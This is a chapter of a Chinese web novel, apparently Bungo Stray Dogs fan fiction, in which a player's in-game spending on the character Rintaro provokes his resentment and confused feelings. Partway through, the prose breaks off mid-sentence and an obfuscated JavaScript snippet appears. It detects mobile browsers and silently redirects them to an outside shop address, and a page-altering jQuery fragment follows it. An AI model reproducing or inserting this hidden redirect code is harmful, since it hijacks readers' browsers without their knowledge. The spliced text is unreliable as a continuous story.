所有未表现出来的期待卡在了半路,上也不是下也不是。

    森鸥外闭上了眼,又重新睁开。可无论他重复多少次,纸条上还是清清楚楚的【一元】字样。

    所以……她是想让自己与她划清界限吗?

    等到森鸥外回过神来时,他放松了指尖,勉强抢救回了这张纸条。

    但很不幸,尽管他抢救及时,纸条的边缘还是皱皱巴巴。

    细小的折痕从边缘处向中心攀爬,工工整整的数字有些扭曲。

    一块钱,就可以让他无痛拥有一套属于自己的公寓。

    他不用再为房租发愁,也不用压榨夜晚的时间出来打黑工。

    仔细想想,这样也不错。

    不是吗?

    ……

    【你的林太郎好感度-2】

    【你的林太郎好感度-2】

    【你的林太郎好感度-5】

    绪花面无表情地划走了这些系统提示。她甚至都懒得点开人物面板、细看好感度那一栏。

    无所谓了。

    喜不喜欢自己又有什么区别呢?

    反正……她和这个少年也不会再有什么交集了。

    意识到这个事实后,绪花仿佛被人重重打了一拳,又仿佛整个人倒在了棉花堆上。

    她抛开通讯器,连继续观看的欲望都没有,只是双眼无神地看着天花板。

    她一点也不想知道这个少年要如何使用道具,更不想知道当这个少年知晓自己不用再为房租发愁时的欣喜。

    她不想她不想她一点都不想知道!

    “从今以后,我就算被哥哥打死,我也不会再为你掏一分钱!绝对不会!”

    游戏天生就是来讨好玩家的。尤其是她这种氪佬,更应该被讨好才对!

    不就是一个好看的建模吗?她就不信她找不到比林太郎还要好看的建模!

    绪花直接将游戏扔进后台,跳到应用商店寻找新的游戏。

    黑发黑发黑发。只要看板郎是黑发的角色她都看了一圈,愣是没有找到一个让她满意的。

    “可恶!难不成我这辈子只会吃林太郎这一款?!怎么可能!比他好看的多了去了,一定是我没有认真找!”

    不,仔细想想,那些黑发看板郎和林太郎一比,还真的没眼看。

    她的林太郎多精致啊,忧郁的气质是多么与众不同啊。

    再加上小游戏的探索模式多样,Q版和正比的穿插诱惑……

    虽然性格有些不讨人喜欢,但他长得帅啊!

    在这么一瞬间,绪花几乎要将自己哄好了。

    “如果,如果林太郎能告诉我为什么不高兴,那我就原谅他。”

    嘟嘟囔囔个什么劲儿?反正林太郎也不会知道自己的许愿。再加上他那个破脾气,怎么可能会主动告知自己呢?

    绪花叹了口气,又重新点开游戏。

    游戏加载的页面很快,绪花看见了熟悉的布置。

    似乎是自己离开的时间有些长了,少年人已经回到了家中。看房间的情形,应该在……

    洗澡?

    这个认知瞬间打破绪花的所有不满,甚至让她产生一种错觉:

    林太郎该不会是想通过这种方式来讨好自己吧?

    可能吗可能吗可能吗?

    “呜呜呜呜我就知道!我就知道林太郎对我最好了!难得的出浴图!我要截图!我要疯狂截图!”

    原本躺在床上的姿势早就变了,绪花直接坐了起来,堪称鲤鱼打滚。

    笑眯眯的神情哪里看得出之前的哀伤?她甚至都有点想不起来自己之前是因为什么事了。

    洗完澡的林太郎!

    穿好睡衣睡裤的林太郎!

    “啊,林太郎有睡帽吗?”

    绪花双指放大床上的衣物,只有睡裤,想必是林太郎已经将睡衣拿去了盥洗室。

    “没有睡帽啊……我现在就去买!”

    在这种事情上,绪花的行动力十足。

    她立刻点开了商城界面,以最快的速度找到了衣物这一栏,又在十几种分类中成功翻到了睡帽的分类。

    睡帽嘛,自然是要以可爱为主啦!

    黑白斑点的好素哦。纯色的更不在绪花的考虑范围之内。

    “怎么就没有小动物呀?”

    绪花翻来翻去,总算在角落里找到了自己喜欢的一款。

    是一只毛茸茸的可爱小狐狸!

    藏青色的小狐耳,内圈是白色小棉花团,一看就很好摸。

    绪花心满意足地氪金拿下。银行卡的余额还有一点,勉强能支撑自己再氪一套公寓。

    要想办法去挣钱了。

    这个念头在绪花的大脑里转了一圈,又很快被她抛在脑后。

    当务之急是要看林太郎戴上狐狸睡帽、安然入睡,而不是在这里焦心社畜的余额。

    “林太郎林太郎啦啦啦啦,帅气的林太郎!”

    绪花的手已经按在了截图键上,她做好了一切准备,就等少年人从盥洗室里出来。

    “果然,我还是最喜欢林太郎啦!”

    ……

    “果然,我还是最喜欢林太郎啦!”

    耳边的话音刚落,森鸥外便将淋浴器关掉。

    他抬起眼睛,将自己的手掌对着浴室上方的灯光,翻来覆去地检查是否还有污垢。

    在这个期间,他没有发出任何声音,也没有让淋浴器发出任何声音。

    整个盥洗室安静极了。

    伴随着这份安静,森鸥外听见了自己的心跳声。

    一下、两下,十分沉稳,也十分平常。

    什么“最喜欢”。如果这份喜欢是见自己没有任何回应后,就去找别人的话,那也太过廉价了吧。

    真笨。

    如果是他的话……

    不,他为什么要躲在盥洗室里思考这种没营养的问题?

    他今生都不可能喜欢上一个人。

    任何生物,都不可能。

    绝对。

    这种廉价的情感,他一点都不想尝试!

    森鸥外推开淋浴室的玻璃门,缓慢走出。他扯过一旁的毛巾,仔细地擦拭着。

    在这个过程中,他突然回想起刚才的经历。

    所谓的稀有道具,其实是一张写满选择题的纸片。

    在那张纸片上,他看见了未来的可能。

    最上面的一行字是类似于使用说明的存在。只要他在选项前打勾,未来就会以打勾的选项进行接续。

    【A.将中介商人今晚的记忆销毁,隐瞒异能力的存在】

    【B.将中介商人毁尸灭迹,有70%的风险被横滨地下黑势力抓住】

    【C.将所有的一切都告知“她”,请求“她”的协助】

    【D.以上都不选,未来就在你的笔下】

    森鸥外没有掉入这个极具诱惑力的甜蜜陷阱里,而是仔细翻看着纸片。

    果不其然,在一个很不起眼的角落,有一行红色铅字的小字。

    【重新续写的未来如果缺乏逻辑支撑,未来会存在扭曲原点。原点越多,世界越会崩坏。】

    所以,他的世界就是这群高维生物们的玩具吗?

    没有任何犹豫,森鸥外直接在选项A中打上了勾。下一秒,无数的亮光从纸片中钻出,瞬间吞噬了那个半死不活的黑心中介。

    与此同时,被强行塞过来的纸和笔都消

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777698|209701||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    失不见。

    处理好自己的所有痕迹,森鸥外熟门熟路地溜出了仓库,又躲进了被夜色笼罩的角落中。

    大约过了十分钟,印象中的濒死之人完好无损地走出了仓库,边摸着后脑边骂骂咧咧:

    “奇怪,今晚那个臭小鬼没来吗?下次要是遇见那个臭小鬼,我一定要让他跪倒在地!”

    真的不记得了。

    不仅不记得,那张纸片还十分“有逻辑”地将这个中介的伤势治疗好,没有露出丝毫的破绽。

    这就是高维生物们的手段吗?

    氪金、商城、道具,还有被夺走的爱丽丝。

    种种迹象表明,他已经深陷其中。

    但是……这个女人又能从自己的身上得到什么呢?

    爱丽丝不过是一个没有任何人格的人形异能。而且已经在这个女人的手中变成了像素块,只能勉强能看出人形。

    像素形态的爱丽丝看似方便了对方的操控,但她的战斗能力下降了许多,实用性更是几乎等于零。

    除此之外,他既没有钱也没有任何可以被掠夺的资源,为什么对方偏偏找上了自己?

    森鸥外回到家时,耳边重新出现了女人的声音。

    带着哭腔的声音没有让他有任何动容。相反,他十分冷漠地推开房门,打算迎接着新一轮的动手动脚。

    可令他没有想到的是,对方不仅没有来到自己身边,还想着去找别的游戏。

    只找黑发角色吗?

    她喜欢黑头发的男性。

    她找了很久,久到自己已经收拾好明天要带的书本,久到自己已经进入了盥洗室,她才有些颓废地劝说她自己。

    紧接着,森鸥外听见了一句十分匪夷所思的话:

    “如果,如果林太郎能告诉我为什么不高兴,那我就原谅他。”

    所以……

    那个【一元】是因为她生气了?

    归根结底还是因为他不高兴,她才生气吗?

    搞什么啊……

    森鸥外任由温水浇头,试图让自己清醒一点。

    可无论他用什么方式,他都无法让自己从这个认知中走出来。

    这是个完全陌生的领域。现在的这种情绪对于森鸥外来说太过陌生,甚至让他产生了一丝惶恐。

    他缓慢将手按在自己的胸膛上,试图用这种方式来阻止自己的心脏。

    别跳了。

    别跳了!

    她只不过是一个以自己为乐的乐子人,是对自己完全没有尊重的混蛋。

    仅此而已。

    对,仅此而已。

    森鸥外闭上了眼,下一秒,他又用指尖触碰着自己的唇角。

    在这一瞬间,他再次听见了这个女人的声音:

    “难得的出浴图!我要截图!我要疯狂截图!”

    停下。

    停下!

    她怎么……怎么那么不知羞耻啊……

    为什么还要翻他的衣服,为什么还要纠结他有没有睡帽啊?!

    反正、反正就算她买好了,就算她强制塞进自己的手中,他也不会戴的!

    他又不是什么小孩子,戴哪门子睡帽啊?!

    森鸥外推开盥洗室的门,走路的速度十分缓慢。

    他的睡衣扣都被牢牢地扭好,甚至连最上面的风纪扣都扣好了。

    神经病。

    他才不会让这个笨蛋女人看见不该看的东西呢。他还是个未成年!

    “呜呜呜,刚出浴的林太郎就是最棒的!就是脑袋能稍微抬一下……对对对,就是这个角度!我等会就将这张截图打印下来!”

    “等等,林太郎的耳朵有点红诶。是洗澡的水温太烫了吗?”